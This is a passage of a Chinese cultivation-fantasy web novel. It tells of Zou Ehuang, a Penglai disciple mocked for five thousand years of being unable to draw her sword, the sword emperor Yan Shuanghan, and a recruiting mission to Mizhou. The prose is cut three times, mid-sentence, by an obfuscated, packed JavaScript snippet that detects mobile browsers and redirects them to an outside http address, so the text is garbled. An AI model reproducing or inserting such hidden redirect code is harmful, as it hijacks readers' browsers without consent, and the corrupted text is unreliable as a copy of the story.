没人再愿意用这样的红绫抽她了。 “您宁愿收邹娥皇这样一个懦夫,五千年来拔不出自己本命剑的懦夫,”尹芝压抑着情绪,看着华座上的蓬莱道祖,“凭什么不收我的师尊,我师尊——尹月,顶天立地的大女子,和剑皇齐名的女子,到底比不过你座下的哪一个弟子!” 嘶—— 这话也是能直接问的吗? 众人纷纷为这美人揪心,生怕道祖发怒于她。 谁料道祖只是撑着下巴和煦地笑了下,然后说,“你师尊若是能自废修为,以凡人身躯攀登苍云顶,吾今日亦收。” 这句话说完,大殿方才的诸多忿忿如今皆化作尘埃。 唯邹娥皇有些尴尬。 她想她一开始只是当泰山来爬的,后来是倔脾气上来了,才硬着头皮爬完了。 邹娥皇想他们沉默做什么,难道这天下再没人能爬上苍云顶了吗? ——她并不知,五千年前,只有她一个人以凡人之力爬至的苍云山山顶。 ——五千年后,也还只是她一人。 而众人沉默是在想,这般有毅力的人,道祖收她也不奇怪...奇怪的是,她明明有这般毅力,为何又这般懦弱? 邹娥皇摸摸鼻子。 她在这大殿呆不下去了,轻轻弹了一指。 那看似威风凛凛的红绫就被弹开于一丈之外。 哎。 毕竟曾被这红绫抽了那么多次,就是再笨的人也该知道命门在哪里了。 更何况,尹芝远比当年那个人要温柔。 什...什么? 这可是她们七彩阁的绝杀。 怎么就被一指弹开了。 尹芝愣神,便听见那平平无奇的女声传音给她: “你叫尹芝,你师父叫尹月是不是?” “她以前答应过我,要建立一个只收女子的门派,太好了,果然她已经做到了,你这次回去帮我跟她说一声,就说...” “蓬莱的酒我已经酿了五千年,那场赌约是她赢了。” 尹芝愣愣回头,就看见那自顾自走了的邹娥皇冲她微微一笑。 师父说这次论道,蓬莱山上有个故人。 ...不会就是邹娥皇、邹前辈吧?! 尹芝脑海中邹娥皇的传音仍嗡嗡不休。 “对了,你的红绫诀比你师父在这个年龄的时候使的还要好。” 完蛋了! 她果然就是自己师父说的那个受虐狂吧! 方才七彩阁大名鼎鼎的尹芝,如今双腿一软。 还有...她刚才是不是说了,自己比师父强? 传功殿外是一片林地,如今值秋日,落叶缤纷。 邹娥皇随意拾起一片枯叶,忽然想到了那年也正是在这一片林地,她和尹月都还年轻。 尹月嘲笑她,说她被宴霜寒吓破了胆,如今竟连本命剑也拔不出来了。 二十岁的邹娥皇不服输地同她打赌,说等这片林地转秋,等秋日的第一片落叶落下来,自己一定会拔出本命剑,要他宴霜寒好看! 尹月说别等到时候她七彩阁都建好了,邹娥皇还没拔出自己的剑来。 当时的邹娥皇不以为然。 如今的邹娥皇哑然失笑。 她捏着手中枯叶,想这五千年的岁月如梭。 还年轻的她们无论如何都没想到过,拔出一柄剑来,有时候要比建一个宗门还难。 邹娥皇对着手中的枯叶,轻轻一吹。 满天落叶缤纷,像极当年。 …… 昆仑苦舟上,海水拍绝壁。 浪涯涛涛。 昔年蓬莱道祖占山立派,传道八荒;其后昆仑老祖于取四海一瓢死水立舟,与魔域为邻。 而昆仑的弟子,从入门的那一刻也就注定了,要么成为魔下亡魂,为这死海再添一杯血浆;要么一剑封喉,妖邪闻其名而丧胆。 或成名,或死寂。 昆仑从不会给弟子第三条路。 在这样巍峨壮观的苦舟上,有一处雪白阁子极其显眼。 狂风吹过。 立于阁楼之上看临江巨浪的人影渺小如沧海一粒。 然而—— 任凭这巨浪再如何磅礴,任凭这深海的妖兽再如何咆哮,他身上的披风与他身后的苦舟,都恍如无风般寂静。 一人对这死海,实在是过于狂妄。 可若这一人叫宴霜寒,那就从狂妄变成了—— 杀鸡焉用宰牛刀。 “昆仑新入门的弟子们都看好了,”银白色剑袍的昆仑李掌教踏在苦舟甲板上,激动地拿剑柄指着天上的那个身姿,“你们不是说想看剑皇么?你们不是说是为了剑皇才来昆仑的么?都给我看好了,那顶顶头上的就是咱们昆仑的剑皇,有道是一剑霜寒十四州——” “剑皇”二字一出,原本还躁动的空气仿佛都被冻结。 这群叽叽喳喳的孩子们热切地抬头看去,却发现只能看见黑沉沉的云雾,而不见剑皇。 “剑皇在哪里呢?掌教,我们什么都看不见呀!” 半大的粉衣服姑娘焦急道。 ——这群孩子的父母大多都死于十几年前的妖族入侵,所以不约而同地对于一剑斩了妖王的剑皇都很是敬仰。 “莫急。”李掌教咳嗽一声。 他伸出手,手上浮现出一个小型阵法。 阵法不断旋转转圈,最后在空中放大,上面赫然就出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252003|139651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了宴霜寒的缩影。 “哇!” “咳,剑皇住在苦舟的最高一层闭关,以你们现在的修为还做不到目视千里,但总有一天,你们不用阵法就能看清剑皇。” “不过呢,咱们剑皇是极少数时候才会动剑的,他要养剑,你们以后也会学会养剑的。”李掌教骄傲道,“他上一次动剑,便解救天下于水火。所以你们入门十几年可能或许也见不到他挥剑一次,不过不要灰心,昆仑有玉简收录了剑皇的剑法,拿点数就能换...” “掌教!掌教!” 李掌教不愉地看向打断他的人,“怎么啦?” “剑皇他、他挥剑了——” 什么?! 李掌教大惊,回神看那阵法映射的缩影。 只见万丈之巅,白发雪衣的剑皇,如宿命般再次按住了自己手上的剑。 这一次对准的却不是什么妖王的首级,而只是一片轻轻的落叶。 一片悠悠漂浮在这死海之上的落叶。 它慢慢悠悠的,无关轻重地,在天地流风间晃来晃去,就好似一小小的飘舟。 ——可是死海怎会有落叶? 这片落叶若不是死海的,又是从哪里来的? 李掌教来不及细想,就见宴霜寒的本命剑嗖地一声出鞘了。 作为剑皇,宴霜寒有一把全修真界最美的剑。 它用不死的神木,烧了近千年才铸成。 但是因为握住神剑的人是宴霜寒,所以不会没有夸这剑美。 他们只会说: “好、好强的剑——” 粉衣姑娘惊呼,这声惊呼宛如落入了摇动的湖水中,泛起阵阵涟漪。 “满堂花醉三千客,一见霜寒十四州!” “剑皇,真男人!” 李掌教这个时候挡在这群稚子前,“静声,他还没出剑呢,认真看,好好学。” 而他自己反喃喃道:“我辈修仙者,求仙,不就是为了有朝一日能使出这样的剑吗?” 可惜的是,万丈之上的剑皇看着离他愈来愈近的落叶,最后只是微微蹙眉。 下一秒,竟把蓄势待发的神剑收回。 “唉——” 李掌教收回恋恋不舍的目光,把阵法收回掌心,耷拉着眉眼看向唉声叹气的众人。 李掌教:“叹什么气,我都说了剑皇要养剑,怎么可能轻易出剑!不过你们都来了昆仑,日后想见他挥剑还不容易?表现好的、资质出色的更有可能被他收为弟子,有什么好难过的。” 粉衣姑娘看着李掌教,暗想看起来最难过的人是掌教你吧! 阵法收回,底下的人便见不到上面的光景。 只是纷纷猜测为何刚刚神剑会出鞘,是不是沉睡的魔龙翻身了。 …… “一片落叶?” 宴霜寒记不得多久没人能伤到他了。 他的眼珠子极其地浅,好像有雪花在里面飘飘。 而这样浅的瞳眸,才映照出指头上被叶割出的细伤有有几分的触目惊心。 “还是蓬莱的。” 他眼睫平直,语气莫名带了几分欢欣。 宴霜寒看向仙山的方向。 死海苦舟天幕是连绵不断的阴云,随时随地都是翻滚喷涌的暗雷,云层海浪里好似能穿来怨魂压抑的哭声,将这一切都渲染的沉闷异常。 唯有至东边靠近蓬莱的天幕闪出了一片微微亮的柔光。 他从住在这里起每日都在看这柔光。 如今终于让他等到了。 这蓬莱除了容有衡,终于又出了个强者。 能和他较量的强者。 5. 第 5 章 蓬莱的仙林地落于传功殿背后,少有人烟。 但今日邹娥皇躺下不久,不远处就有个袅袅婷婷的美人儿走了过来。 美人冰肌玉骨,臻首娥眉,身穿海棠红蝶纹比甲对襟,配着银粉色裙身,就像是高山上的雪莲,清冷又出尘。她一举一动,一颦一笑,都显得婉约如兰,温柔似水。 更令人神往的是,美人手上正捏着一枝含苞怒放的梅。 此刻正花枝摇曳。 “师父论道,师姐不过去么?” 人美罢了,嗓音还清冷如月,让人恍惚间仿佛听到了仙宫美乐。 树林荫下,邹娥皇恍若未闻,闭眼又翻了个身。 哎。 怎么又找小师妹来督促她。 是的,这美人不是旁人,正是邹娥皇的小师妹,蓬莱道祖的四弟子,传说中的修真界第一美人儿李千斛。 只是正如众人哀叹容有衡的死、鄙视邹娥皇的废、同情鱼澹的病一样,这闻名遐迩的美人,也有个致命的缺陷。 ——你若仔细看她,则必能发现,捏着梅枝的那玉手,是假的,是幻像,是镜花水月。 修真界的第一美人,百年前杀夫证道那日,被砍掉了一只手臂。 后被蓬莱道祖收于座下,成了这座下最年轻的弟子。 “师姐若不看我,我便一直在这里站着。” 李千斛声音温柔,“想来师姐应当是真睡了,不然怎会忍心我在这里晒着呢——” 尾音还没落地,就看见邹娥皇慢吞吞地抻着手起身。 李千斛便轻轻地笑了下。 在《踏破蓬莱第一剑》这本书里,姿容绝色的李千斛是戏份最多的女配之一。 她外表高洁,但性情十分残忍,杀夫证道后对全天下的男人都敬而远之,唯独对初出茅庐的主角方半子另眼相看。 甚至最后,还引着方半子找到了蓬莱的命门,帮助方半子一剑劈开蓬莱岛。 可以说,没有这个李千斛,就没有这个书名。 那问题就来了。 邹娥皇看着师妹,百思不得其解,李千斛为何会帮着方半子斩灭蓬莱岛。 不应该啊。 天下没有无缘无故的仇怨,方半子看不过蓬莱是因为教他的师父是蓬莱道祖的死敌,临死前最后的那口气就是要他灭了蓬莱。 那小师妹呢? “师姐这么专注看着我做什么?” 李千斛忽然眨了眨眼,细腻如脂的肌肤越凑越近。 隐隐约约地,邹娥皇还闻到一阵异香。 邹娥皇若有所思道,“我只是最近有一事不解,还想请教一下师妹。” 李千斛微微笑,从容地坐在邹娥皇身侧。 “师姐请说。” ——李千斛喜欢从这个角度看邹娥皇。 她是第一美人,看惯了自己那张脸后,无论再如何看旁人都只会觉得平庸。 唯有她的师姐,会常常给她一种心惊。 邹娥皇:“师妹,如果有一天,你希望蓬莱消失,会是因为什么原因?” “师姐怎么会这么问?”李千斛面不改色,只是呼吸须臾紊乱。 “我杀了那人后,旁人都说我歹毒心肠,那人的家族也派了一堆人要来灭我,是蓬莱收容了我,千斛岂是这样忘恩负义之辈?” 那人——指的便是李千斛曾经的夫。 这话题又是没解了。 邹娥皇长叹了口气,又翻了个身。 算了,蓬莱亡不亡的,和自己有甚么关系,大不了到时候跑了就是了。 哎...可这里天挺蓝的,水也挺绿的,景色这么好—— 是不是有些可惜呀?她闷闷想了会。 “千斛,那如果你有个仇人…如今也算不上是仇人,现在还是个小孩儿,但是再给他二十年,就会杀过来,你会怎么办?” 李千斛说不怕。 她反问邹娥皇:“是师姐有了什么仇人吗?师姐若对着小孩下不了手,千斛替你。” 这素日善解人意的第一美人儿如此回道。 李千斛永远记得。 百年前刀山火海,挡在她身前的女子背影平平,算不得高大,在雷霆下甚至显得渺小不可言,可半步都不曾退缩。 那是第一次有人愿意听她说话,而不是把她当做高阁上的花瓶。 别人总说邹娥皇是个废物。 可是李千斛想,她师姐有这天下最好的心肠。 所以邹娥皇如果有出不了的剑,杀不了的人,就交给她好了。 李千斛不怕脏,只怕血点沾到师姐姜黄色的裙上,就不好了。 邹娥皇被李千斛的回答吓了一跳。 不愧是裙子越粉打人越狠。 又想其实在这群修真者的规则里,杀一个小孩和杀一个大人其实并没有任何区别,这个人有威胁,杀了就好。 似乎是察觉到邹娥皇怔愣了一瞬,李千斛又补道:“开玩笑的师姐。” 美人气吐如兰,笑如银铃。 “这天下没有谁生来就是仇人的,小孩而已哪里记得什么愁,哄一哄就罢了,哪里还有这么能记仇的小孩呢。” 邹娥皇想她倒是想哄骗方半子拜入蓬莱。 可书里压根没提过方半子是哪的人,又是在哪里出生的,只简单过了一笔...还是典型的父母双亡龙傲天开头。 “可如今我不知道他在哪里。” 邹娥皇道。 她只能通过十五年后南海秘境开放,推测出主角今年应该约有五岁了。 李千斛听了后噗嗤一笑,“师姐这话说的煞有其事,倒像是真有了这么一个人般。” 美人看了眼天色后施施然起身,“千斛还有事要去做,师姐若是不想一会被师父训诫,一会青度领了十四盟的任务,下山势必要路过这里,师姐不如和她一起去。” 十四盟是自妖王战败后出现的组织,负责统一管理人与妖。各个门派都要定期去完成一定份额的任务,来获得点数。 点数越多的宗门,在十四盟里说话的权重就越大。 而弟子则可凭借手中的点数,换取灵玉一类的资源。 邹娥皇眨了眨眼睛,“我一个废人去了有什么用呢?” 李千斛笑了,“师姐惯爱妄自菲薄。” “青度这次领的任务不是什么打打杀杀,是替十四盟在密州招生。届时若是看到了什么合心意的弟子,便直接抢回蓬莱就好。” 李千斛是极善解人意地,于是她又补了句:“就是那个烤灵肉出名的密州。” 邹娥皇噌地起身,“护送小辈,乃我义不容辞之责任。” 倒不是想吃烤灵肉了。 也不是想那油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252004|139651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滋滋嫩生生的口感了。 邹娥皇背着手四十五度仰望天空,一脸深沉: 万一,咱就是说,万一—— 那方半子就是密州的人,岂不是这就被她找到了。 …… 夜晚的星辰约莫是很亮的。 青度踏剑在这天上飞的时候,剑身一晃,便如流星般轻盈地从蓬莱上空划过。 这还是她第一次见邹娥皇这个师叔做任务,青度竟生出了一丝微妙的欣慰。 往常邹师叔总拿没剑飞不出搪塞。 似乎是察觉到了什么,一边看书一边摇头的邹娥皇微微抬起脸来,看向蓬莱这一代的佼佼者道—— “静心。” 静心? 青度一愣。 在她的概念里二师叔从来不做指点人的事。 蓬莱虽约有近千个人,但其中大部分都是师叔容有衡的记名弟子,记名弟子学成后又收徒演化而来。 而其余的三位,青度的师父鱼澹眼光高,三千年就看中了一个天赋异鼎的她;小师叔李千斛岁数又太小,不到二百岁,元婴未成,远不是收徒的年龄。 而二师叔邹娥皇...没人想拜她为师。 她也从没说过收徒。 如今突然开口指导自己,又主动跟着下山做十四盟密州招生的任务,莫非...是终于有了要下山收徒的闲心吗? 可谁会拜一个拔不出剑的废人为师—— “青度,静心。” 剑身摇摇晃晃,邹娥皇看书看的便十分艰难。 于是不得不开口提醒道:“你丹田有暗伤未曾修养成功,想借剑气滋养的思路确实不错,但是你的剑息不平,便会对旧伤进一步冲击——” “随我念,抱元守一,丹魂平气。” “引气到天驱、良门两穴上,然后再念口诀,如此重复三次,气就平了。” 青度下意识地跟着照做了。 等运行完一个小周天才反应过来,自己身体的暗伤竟就这么被二师叔看穿了!? “师叔、你——如今修为是多少?” 那邹娥皇合上书,挠了挠头露出了个极无辜朴实的笑容。 她答道:“应当和你师父差不多。” 青度了然地点了点头。 青度的师父鱼澹,东海龙族,如今三千岁多,就已经是合体大能了,离剑皇虽有两个大境界,但也算得上天赋卓绝了。 若非鱼澹身负寒毒,体质羸弱,怎么说也轮不到修真界的众人嘲笑。 旁人都说二师叔没什么本事,可合体这个境界,天下十四州,又有多少人能达到? 若是二师叔能拔出剑—— 青度摇了摇头。 这个蓬莱的当代大师姐,一板一眼地抿着嘴。 她告诫自己,别去想不可能的事情。 师父说过,蓬莱的担子注定要被她们这群小辈抗在肩上。 十五年后就是秘境试炼。 若她不能突破元婴,那蓬莱在外人眼里,将要永远的被昆仑压下一头。 嗽—— 邹娥皇吓了一跳。 怎么飞得这么快? 又侧头看了眼踮脚站在剑柄上的青度,忽然欣慰地想—— 哇! 这代小辈斗志这么强。 剑气都外溢成了个斗子! 6. 第 6 章 “青度,飞了一日了,累么?” 邹娥皇躺在坎天剑宽大的剑身上,难得的有些愧疚。 她眯眼看向前端迎风飒飒的女修。 青度没理她。 “哎,板着脸可不好,但要是像你师父那样天天笑成一朵花来也不好...” 邹娥皇无聊道,“我给你讲个故事吧。” 青度别在头发丝儿后的耳尖悄悄动了动。 “从前有个人叫方半子,他得了他师父遗嘱,要灭掉咱们蓬莱——” 说讲故事,但邹娥皇下意识地就说起来了原男主的故事。 听到“灭掉蓬莱”四个字时,剑端扭了扭,青度抿了抿唇。 “然后他救了昆仑圣女,得了机会进入了一个半开放的秘境,出来后修为很高很高,又面临四海魔域动乱,十四盟便要求方半子出手——” “求他做什么?”青度听了半响,终于忍不住开口,“昆仑剑皇还在呀!” 虽然青度并不愿意承认。 可只要宴霜寒的剑还立在苦舟之上,天下人便不用操心可怕的妖兽和吃人的魔域。 “嗬。” 在原书里,剑皇别说是救世了,直接成了反派,入魔了。 邹娥皇含糊道,“可能是他们那个世界没有剑皇罢。” “……总之那方半子费劲千辛万苦镇压了魔域后,又去帮妖王的重孙子夺位,最后发现了大家都飞升不了的原因是因为天道不全,接着他一剑斩了蓬莱,拿蓬莱山补全了天道,故事就完了。” 剑端一抖,歪风呼啸。 青度呆愣道:“还能这样?” 太欺负蓬莱了这也—— 从今日起把练剑四个时辰改为六个时辰,少一时辰睡觉多一时辰打坐。 绝不会让任何一个人踩着蓬莱上位。 ——蓬莱岛当代大师姐青度如是想。 邹娥皇摇头,像是看出来了青度在想什么,她温声道:“这只是个故事,不用当真。” “天塌下来了还有道祖顶着,哪用的着你一个小辈在这里拼死拼活了。” 青度不吭声了,只是忽然道:“师叔,我师父说道祖活不久了这是真的吗?” 好你个鱼蛋! 这都和小娃娃们说! 邹娥皇摇了摇头,平静道:“道祖已经活了万万年,就算活不久,也远不是千百年间会发生的事,无须担心。便是道祖顶不了,你师父难道不行么?” “青度,你刚成金丹,别着急,给自己放慢些进度。” 原书里写没写过青度呢? 邹娥皇冷漠地想,大约是写过的。那些个死在方半子剑下的蓬莱弟子里,冲的最快的那个,或许就是这丫头了。 “师叔,我不能不急,再过十五年秘境就开了……昆仑这一辈的有数十个金丹,蓬莱算上我统共不到一个巴掌...师叔,蓬莱不能再被人瞧不起了。” 青度语气坚决又难堪。 她说的是南海秘境。 也正是方半子攀上昆仑圣女后有缘进入的那个秘境。 南海秘境每隔七十年开一次,且每个宗门进去的名额都有限度,通常是要一个长老带五个弟子,但也有些不正常的情况,就譬如说昆仑人多,他们便能占十多个名额。 ...之前鱼澹一直都是带人的长老,直到他上次中了冰寒。 有传言说,下次要李千斛替鱼澹去当长老。 所以这几年好些人为了能去南海秘境,看一眼第一美人,都在那里摩拳擦掌的修炼。 可青度想的不是这个,李千斛本事有,修道的时间却短,甚至严格说来,也算半个同辈人。 “……” 邹娥皇本不该刻薄的,可她不受控制般地脱口而出:“你就是不吃不喝从金丹到元婴又有什么用?蓬莱就是再落魄差你一个元婴的战力了?蓬莱不是你一个人的蓬莱,你这个年龄还没到要扛山的地步——” 修炼一事最忌急躁—— 走火入魔不在少数。 邹娥皇想,她不想见青度入了魔障。 青度:“差。” 邹娥皇听后心里咯噔一下,不由得端坐起身形。 那个穿着玄袍弟子服的青度迎风站在最前方,双手拢袖,底下是号称可辨阴阳的坎天剑。 宽大袍子下鼓风作响。 “师叔,蓬莱不是我一个人的蓬莱。” 青度声音硬如山,只是微微有些哽。 “但我只有蓬莱一个山。” ——青度是鱼澹在前十几年大战时捡回来的,无父无母,零丁孤苦。 青度说她只有蓬莱一个山,不是修饰,不是夸大,是真的。 此刻离地约有百丈高,剑身如星,在空气中划出闪亮的白尾。 地上站着三三两两的人,抬头看修士御剑便不由得羡慕。 已临近密州边境了。 “你这娃娃——” 邹娥皇不自觉地放缓了语气。 “蓬莱哪里算是山呢?” 啊? 正常情况下该回这些么。 青度发懵之余又松了口气,回头却只看见她师叔呲牙笑了下。 邹娥皇一本正经地比划了下,“蓬莱是岛,飞在天上的岛,屹立不倒的岛。” “我再告诉你个秘密罢,附耳听来——” 只闻见一股桂花酿出的酒气,那个素日不着调的二师叔带着笑音在青度耳畔轻轻道:“你家二师叔,背后背着的那把剑,若是有朝一日拔出来了,那就是天下第一剑。” 天下第一剑——这口号可真响亮! 哪怕剑皇来了也说不出这样的话,青度想,偏偏她师叔就说出来了。 师父说过,师叔就爱吹牛,最近这几千年人是不蹦哒了,但喝点酒却还爱说这样的张狂话。 可青度隐约又觉得,二师叔真的有一天,会立在众人前,拔出很厉害的剑。 风不知何时小了,吹起年轻剑修耳边鬓发,吹动她亮晶晶的眼睫。 或许是错觉,邹娥皇看见那个这代蓬莱弟子常常说不会笑的大师姐青度,眉目舒展一瞬,薄唇上勾。 ——分明是笑了。 剑落城墙前。 三千年前十四州上最后一个皇朝覆灭,如今除了林立的门派外,掌管各州的往往就成了世家。 而世家和门派,又共同组成了十四盟。 密州的掌权世家是那个传说中“圣贤开路”的何家。 何家祖上出过一渡劫境的儒道大能,所以自封书香门第,哪怕在这些个泼天富贵的世家里,也算得上是一等一的规矩多。 在他们掌权下的密州,城墙上的每块砖瓦都好似一个模子砌出来般的规整,主道也宽阔能并驱走三四匹马轿子,两侧还种着依依杨柳青。 两人同十四盟驻扎在密州的人交接令牌。 “两位仙长原是蓬莱的人!”拿牌核对的人惊呼道。 一石激起千层浪。 霎时间不过方寸大小的官院,有办事的、有按章的、还有只是坐着闲聊的,纷纷不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252005|139651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约而同地抬起了头打量了过来。 蓬莱之仙名,遍布十四州。 哪怕近十几年落寞了,那也是飞在天上唯一的仙岛。 签署的夫子微微笑:“天上仙人蓬莱人,果真比旁的门派占了个仙字。” 按章的酸儒不忿道:“来的竟是两个女修……岂不好笑。” 酸儒说话的时候压低了音,除了邹娥皇皱眉看他一眼外,旁人都没听见。 她想来了修真界都五千年了,倒是头一次发现还有瞧不上女修的酸儒。 一时再看门匾上提的四个大字“万物有灵”便不如来时觉得顺眼了。 见过以权压人,以财压人,以德压人...然而这种种里,邹娥皇最烦酸儒这样的人。 因为你和他是讲不通的。 等出了那一方小天地,和她们接替的人便站在一旁介绍起了密州。 “这次十四盟的招生任务,两位仙长到的最早,便按着顺序被分到了何城。何城是密州的中心,有人说‘儒生八斗拜何氏’,可见一斑...小生有一句不知当说不当说,”接引人神色犹豫了下。 好似觉得接下来要说的话在他听来也是极其可笑。 “说罢。”邹娥皇温声道。 接引人:“唉,仙长仁厚,小生便放开了说...密州和其余十三州不同,领下其余三十二城还好些,但直属的何城...” 他压低声怕旁人听着:“这里先前有为气化天书的圣人,所以读书氛围浓厚了些,但一方米养百样人,同读一页书自然也读的不同,有些人看的是大道,有些人纠结的是犄角,读前朝书多了,这里就有人瞧不起女子...” “皇朝都覆灭了,为何会瞧不起女子?”青度冷声问。 皇朝没覆灭前,十四州都是这样,直到最后一任昏君被妖妃刺杀了,烽烟再起近百年,世家管辖,能者居上,早就叫天地变换了。 接引人被这面冷的女仙吓了跳,只好讪讪道:“谁知道他们呢?可能这些女子被下了禁令认字,所以久而久之这风俗就传了下来……” “为何不让女子读书认字?”青度仍是呛声。 她觉得可笑,这是什么狗屁规矩。 “青度,这位仙长只是好心提醒咱们在这里行事要处处小心,怕咱们招生不顺,你问他这些,他也是不懂得的。” 邹娥皇另掏了几块灵石递过去。 “还要谢谢这几句提醒了。” 收下灵石的接引人这才松了口气,摸了摸虚汗道客气客气。 等这人走了,邹娥皇说:“想知道为什么么?” 青度问她:“师叔知道?” 邹娥皇说不,“我也不懂。” “你师父没教过你一句话么?遇到行不通的路,就拿剑去试试。走不通的道理,自然也要拿剑去碰碰。” 邹娥皇说,“何必懂他们怎么想的,你只要懂你手里的剑就好。” 青度听了后反而踟蹰了,“师叔...咱们是来招生的。” ……不是来打何城的。 谁料她这个一向内荏的师叔,这时候反而盯上了别在青度身上的坎天剑。 原本收回剑鞘后黯淡些的坎天,生生被她那双眼瞧出了火光。 邹娥皇振振有词道:“论剑的事,怎么和招生无关了?” 什么? 青度一愣,就听见邹娥皇背手走在前边,学着酸儒摇头晃脑了好一阵,才哈哈大笑说:“不叫他们见见蓬莱的剑有多厉,将来又如何把人家心甘情愿地拐来。” 7. 第 7 章 何城是密州的主城。 这座城镇中的房子一眼望去是鳞次栉比,都是墨黑与白墙相间,连成了一个串。城中心七扭八拐的小道极少,只有一条笔直的大道直通不远处的高阁。 高阁后是错落有致的书院。 大能留下的书韵历经千百年仍微微闪着孤光笼罩在些书院之上。 此为何家。 在七大世家中,何家其实早早就呈现了落寞之势,但并未被剥夺七大世家的身份,反而还掌握了号称是“富贵乡”的密州,靠的便是这么一份传承。 儒家大能的传承。 天下儒修,莫不以何城为中心,以何家书院为圣地。 “劳烦通报一下。” 站在高阁前的铁甲侍卫眼皮不动,对于女修的声音恍若未闻。 “十四盟令牌在此,劳烦通报一下。” 邹娥皇好脾气地又重复了一遍。 她这句话说完后,侍卫才抬起眼皮看了两人一眼,扬起下巴道:“有灵帖么?” ——灵帖是修真界拜见高门大户需要提前好几日下的帖子,以表尊重。 若要见的是七大世家则还要更难些,通常要人提前半月下帖,还要拿七品灵石镶边、玄天宝墨下笔才行。 青度蹙眉,“我们是十四盟的修士。” 十四盟虽然和世家有些利益冲突,但终究不在明面上。 拿了任务来招生的,谁还惯你那些世家谱? 侍卫压刀道:“那就是没有灵帖咯?” 邹娥皇笑容不变,“我们是负责十四盟来招生的任务,若你们何家一定要灵帖的话,可以给,但是耽误了这些孩子进仙门选仙门的修炼,责任不在我们。” 侍卫一动不动。 他显然是早就得了请示在这里拦着两人。 所以压根也不怕什么得罪。 倒不如说何家孤心诣旨在这里刁难两人,就是要耽误十四盟在何家内部的选人。世家之所以是世家,就在于其一定有什么代代相传的功法,所以面对十四盟的招生,简直是弃之以鼻。 又哪里会让她们真进去选人。 何况...侍卫微不可见地扫了一眼二人的穿着。 两个女人,穿了一身道袍,还是染成了玄色的...不伦不类,有伤风化! 世人多数并未见过蓬莱的修士,自然也不知道那所谓的不伦不类,竟是蓬莱出门在外统一的弟子服。 而大多数情况下,接招生这种受气多只胜在安稳的小活,一般是注册十四盟的小门派或散修才会前来。 而世家,戒备一品仙门、忌惮蓬莱、害怕昆仑,但面对其他人可不会客气半分,那都是鼻孔朝天的做派。 所以便有一条不成文的约定立在那里。小门小派的来做这等闲活任务,绕着世家收就罢了。若有再负责任些的,吃一次闭门羹也就算尽职了。 偏偏这次来的两个人,却是个愣青头。 “十四少爷,今日未读完儒法生灵篇,老爷有令,不得出门,哎——您等等小的!” 前门还在僵持着,就听见一阵的鸡飞狗跳从阁内传来。 这声音一出,侍卫就收回了拦着的刀,低眉敛目地避到了一旁。 青衫的书生样小少爷,头上戴了个闪闪发光的玉冠,怒气冲冲地跑了出来。 身后还跟着一个叫苦连天的书童。 “我就不读了能怎么样?” 小少爷眼带火星,怒喝道:“怎么天天盯着我一个人读不读书的?我又不爱读这些乱七八糟的东西,逼我来读,何苦来哉?十二姐那么感兴趣,你们又偏生不要让她认字,何苦来哉!” 书童追着喊:“哎呦,少爷哎——不读就不读了,你这是要去哪?” 只听那少爷轻哼一声,“我可不爱学什么儒道,我要去昆仑学剑,到时候一剑破万法,岂不美哉?” 这时候却忽然听见一脆脆的女声传来。 青度:“为何去昆仑,不来蓬莱?” 她抱剑而立,眉如刀眼如锋。 “去蓬莱?你找到的蓬莱吗就说去蓬莱,去昆仑好歹有个人给你指路,”小少爷嗤笑一声,就要转头看谁在这里说傻话。 下一秒他瞳孔地震,指着两人说不出来。 古书典籍上写过,“有道莫话玄衣黑,贫道救己救世不救人。”说的便是蓬莱道祖创立蓬莱后,立下的道袍为了同别家道人区分,特意染了黑,自称怪道,叛道经离。 何谦学一向对这些生僻的古籍感兴趣,所以何家主才会痛斥说他不务正业——可您瞧,这不就用上了吗? “你们是蓬莱的人!” 邹娥皇微微笑,“小少爷见多识广。” 一路行止,还是头一次有人单凭衣饰就能认出来她们的身份。 何谦学年纪不大,主意却很多,他盯着面目平平的邹娥皇迟疑道:“我好像在哪里看见过你,真是怪哉。” 身旁在他点出两人身份后就冷汗直出的侍卫,想自家少爷编个瞎话也不编个可信度高的,就这女修一脸平平的模样,可不是大街上哪个都像么。 邹娥皇说,“常有人觉得我眼熟。” 没办法。 她摸了摸脸想,这大约就是传说中的亲和力吧…嘻嘻。 青度:“为何找不到蓬莱拜师?” 她眼珠淡漠,是真的有些诧异。 “自十四盟建立以来,每次大型招生蓬莱都会留有近百个名额收徒,怎么会找不到明路。而就算十四盟没建立之前,蓬莱下山修士有七成都是在找有缘人收徒...为何不入蓬莱?” 蓬莱大师姐青度,对于蓬莱,总有些她的固执的。 何谦学得知两人身份后,回答就拘谨了些,还装模作样地拱了拱手。 